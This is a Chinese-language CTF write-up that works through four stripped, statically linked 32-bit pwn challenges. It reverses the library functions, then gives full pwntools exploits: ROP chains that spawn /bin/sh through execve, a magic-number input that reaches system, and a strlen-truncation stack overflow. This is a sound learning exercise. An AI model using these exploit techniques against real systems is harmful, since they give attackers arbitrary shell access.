题目的本身的难度非常简单 因为是RHG类型的题目 不过大部分都是静态编译的题目 并且删除了符号表 以前还没有接触过类似的题目 所以这次来学习一下怎么逻辑推理出各个函数
下面的顺序被我打乱了 因为附件也是学长发的 所以凑合着做吧
pwn1
32位 保护机制基本上全关了
解析来进入ida 由于删除了符号表 所以也不知道哪一个函数是main 先点进唯一有符号的start函数
1 2 3 4 5 6 7 8 9 10 11 void __usercall __noreturn start (int a1@<eax>, int a2@<edx>) { int v2; int v3; void *retaddr; v2 = v3; v3 = a1; sub_8049200(sub_804890C, v2, &retaddr, sub_80495D0, sub_8049670, a2, &v3); }
根据以往的经验分析 sub_8049200应该是libc_start_main函数
那么作为其rdi参数的sub_804890C应该是main函数了
1 2 3 4 5 6 void __noreturn sub_804890C () { sub_804887C(); while ( 1 ) sub_80488CE(); }
跟进以后 可以看到不像是libc函数 为出题人编写的 所以猜测正确 为main函数 接下来分别跟进两个函数
1 2 3 4 5 6 7 int sub_804887C () { sub_80511E0(off_80EB4BC, 0 ); sub_80511E0(off_80EB4B8, 0 ); sub_80511E0(off_80EB4B4, 0 ); return sub_806D410(300 ); }
三个一样的函数 对.data段上三个相邻的参数进行操作 并且第二个参数还是0 这怎么看都是清空缓存区 用的setbuf函数嘛
至于最后的函数调用 我猜是alarm闹钟函数 毕竟有个300的参数
1 2 3 4 5 6 7 8 int sub_80488CE () { char v1[104 ]; sub_804F4C0("please input what you want say" ); sub_806DDA0(0 , v1, 256 ); return sub_804F9D0(v1); }
这个函数应该就是漏洞点了 sub_804F4C0函数要么是printf要么是puts 直接运行程序并没有输出换行符 那么应该是printf
sub_806DDA0看参数应该是read函数 最后的sub_804F9D0函数经过直接运行程序猜测是puts函数
那么至此程序的主要逻辑就明了了 while重复执行sub_80488CE函数 该函数存在栈溢出漏洞
再加上是静态编译 那么此时直接利用ROPgadget自带的构造rop链 getshell
1 ROPgadget --binary pwn --ropchain
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from ctypes import *from struct import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("please input what you want say" ) p = b'a' * (0x68 +4 ) p += pack('<I' , 0x0806f83b ) p += pack('<I' , 0x080eb060 ) p += pack('<I' , 0x080b8eb6 ) p += b'/bin' p += pack('<I' , 0x0805502b ) p += pack('<I' , 0x0806f83b ) p += pack('<I' , 0x080eb064 ) p += pack('<I' , 0x080b8eb6 ) p += b'//sh' p += pack('<I' , 0x0805502b ) p += pack('<I' , 0x0806f83b ) p += pack('<I' , 0x080eb068 ) p += pack('<I' , 0x080495a3 ) p += pack('<I' , 0x0805502b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080eb060 ) p += pack('<I' , 0x080df8bd ) p += pack('<I' , 0x080eb068 ) p += pack('<I' , 0x0806f83b ) p += pack('<I' , 0x080eb068 ) p += pack('<I' , 0x080495a3 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0807b2f6 ) p += pack('<I' , 0x0806d443 ) success("len :" +hex (len (p))) io.sendline(p) io.interactive()
pwn2
还是跟上题一样 保护基本没开 静态编译32位
老规矩 还是跟着start函数索引到main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int sub_80488CE () { int v0; char v2; int v3; sub_804887C(); v3 = sub_8059F50(48 ); sub_8048987(v3, 48 ); v0 = sub_804DBD0(v3 + 16 ) + 5 ; if ( v0 == 8 ) { sub_8048987(v3, 48 ); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0 ; if ( v0 == 85145 ) sub_804F700("/bin/sh" ); } else if ( v0 == 6 ) { sub_804FA00("where is shell" , v2); } return 1 ; }
第一个涉及到的函数
1 2 3 4 5 6 7 int sub_804887C () { sub_8051720(off_80EB4BC, 0 ); sub_8051720(off_80EB4B8, 0 ); sub_8051720(off_80EB4B4, 0 ); return sub_806D9C0(300 ); }
很明显是setbuf清空缓存区
第二个函数 参数是一个数值 并且在函数最后找到了这样一行字符串
1 2 if ( v4 != _EBX ) sub_8056280("__libc_malloc" );
所以大胆猜测是malloc 随后断点打在call 后 观察eax是否为堆地址返回值 成功验证猜想
至于第三个函数 看参数没有多少印象 所以觉得是出题人自己编写的函数 还得跟进一下看实现逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl sub_8048987 (int a1, int a2) { int i; for ( i = 0 ; a2 - 1 > i; ++i ) { if ( sub_806E380(0 , i + a1, 1 ) != 1 ) sub_804E660(1 ); if ( *(_BYTE *)(i + a1) == 10 ) break ; } *(_BYTE *)(i + a1) = 0 ; return i; }
sub_806E380函数的参数构造有点像read sub_804E660的参数构造像exit函数
那么结合函数整体的逻辑 我认为是一个往刚刚申请的chunk中读入数据的函数 当读入的字符为\n时 结束读入 并且把\n字符所处的位置设置为\x00
接下来第四个函数应该是最关键的了 从main函数的逻辑来看 这个函数的返回值将决定是否能够触发system(“/bin/sh”)
1 2 3 4 int __cdecl sub_804DBD0 (int a1) { return sub_804E880(a1, 0 , 10 ); }
内部还调用了一个函数 不过这个函数的参数就有点眼熟了 a1是chunk的用户块+0x10处的地址 第二个参数为0
第三个参数是10 有点像strtol函数 为了印证猜想 看看函数结束后的eax寄存器是不是预期返回值
1 payload = cyclic(0x10 )+b'85140'
之所以多了5 是因为在v0的值是strtol函数的返回值+5
那么就会进入对应的if判断式 直接调用system(“/bin/sh”)
至于最后的函数 实在是猜不出来 最后用sig文件解析了一下 再加上chatgpt 大概了解到其是一个可以直接把字符串输出到标准输出流的函数
1 2 3 4 5 6 7 int sub_804FA00 (int a1, ...) { va_list va; va_start(va, a1); return _IO_vfprintf_internal(off_80EB4B8, a1, (char *)va); }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from ctypes import *from struct import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() payload = cyclic(0x10 )+b'85140' io.sendline(payload) io.interactive()
pwn3 一开始还以为是个手写可见字符shellcode 但是转念一想 反正保护全关 也有很长的栈溢出 那就可以直接打呗
静态编译的程序一般都是打系统调用的 这里太久没做了 还卡住了 忘记32位的系统调用是int 0x80了 傻傻的用syscall打了半天
1 2 3 4 5 6 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { init(); while ( 1 ) vuln(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int vuln () { unsigned int v0; char v2[96 ]; unsigned int j; int i; printf ("please input what you want say" ); read_len = read(0 , v2, 288 ); for ( i = 0 ; i < read_len; ++i ) { for ( j = 0 ; ; ++j ) { v0 = strlen (byte_80EB068); if ( v0 <= j ) break ; if ( v2[i] == *(j + 0x80EB068 ) ) exit (0 ); } } return puts (v2); }
对于输入的字符进行了一个检查 如果为BINSHbinsh就exit
不过不影响 直接构造rop链 往bss段写binsh 随后execve系统调用就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from ctypes import *io = process("./pwn" ) elf = ELF("./pwn" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6" ) context.arch = "amd64" context.log_level = "debug" def debug (): gdb.attach(io) pause() io.recvuntil("please input what you want say" ) edi_addr = 0x08048480 eax_addr = 0x080b8f16 ebx_addr = 0x080481c9 ecx_addr = 0x080df91d edx_addr = 0x0806f89b syscall_addr = 0x0806331d sh_addr= 0x80EB070 bss_addr = elf.bss(0x400 ) read_addr = 0x806DE00 main_addr = 0x8048972 int80_addr =0x0806d4a3 payload = b'e' *0x74 +p32(read_addr)+p32(main_addr)+p32(0 )+p32(bss_addr)+p32(0x20 ) io.send(payload) io.send(b'/bin/sh\x00' ) io.recvuntil("please input what you want say" ) payload = b'e' *0x74 +p32(eax_addr)+p32(0xb )+p32(ebx_addr)+p32(bss_addr)+p32(ecx_addr)+p32(0 )+p32(int80_addr) io.send(payload) io.interactive()
pwn4 依然是什么保护都没有开
1 2 3 4 5 6 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { init(); while ( 1 ) vuln(); }
1 2 3 4 5 6 7 8 9 10 11 int vuln () { char v1[336 ]; char v2[104 ]; puts ("please input your username" ); read(0 , v2, 0x20 ); puts ("please input your passwd" ); read(0 , v1, 0x14F ); return check(v1); }
没有栈溢出 v1作为check函数的参数 跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl check (int a1) { int result; char v2[16 ]; unsigned __int8 v3; v3 = strlen (a1); if ( v3 > 6u && v3 <= 8u ) { printf ("nice" ); result = strcpy (v2, a1); } else { printf ("passwd error" ); result = 0 ; } return result; }
针对v1的长度进行了检测 只有7和8的时候可以调用strcpy进行栈溢出 这里一开始想的是直接\x00绕过strlen 后来意识到strcpy也会被绕过 这个时候注意到v3这个参数的异常 你可以发现其位于ebp-0x9 这个位置有点不对劲 所以切换成汇编看一下
strlen的返回值存储在eax中 而用来比较的是al寄存器的值 所以这里可以绕过
原因就在于如果数值大一点 使得二进制形式的eax的1都位于高位 使得低八位的值比较小 就可以绕过了
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from ctypes import *io = process("./pwn" ) elf = ELF("./pwn" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6" ) context.arch = "amd64" context.log_level = "debug" def debug (): gdb.attach(io) pause() io.recvuntil("please input your username" ) io.send(b'chen' ) io.recvuntil("please input your passwd" ) backdoor_addr = 0x80488CE payload = cyclic(0x19 +0x4 )+p32(backdoor_addr)+cyclic(0xe6 ) io.send(payload) io.interactive()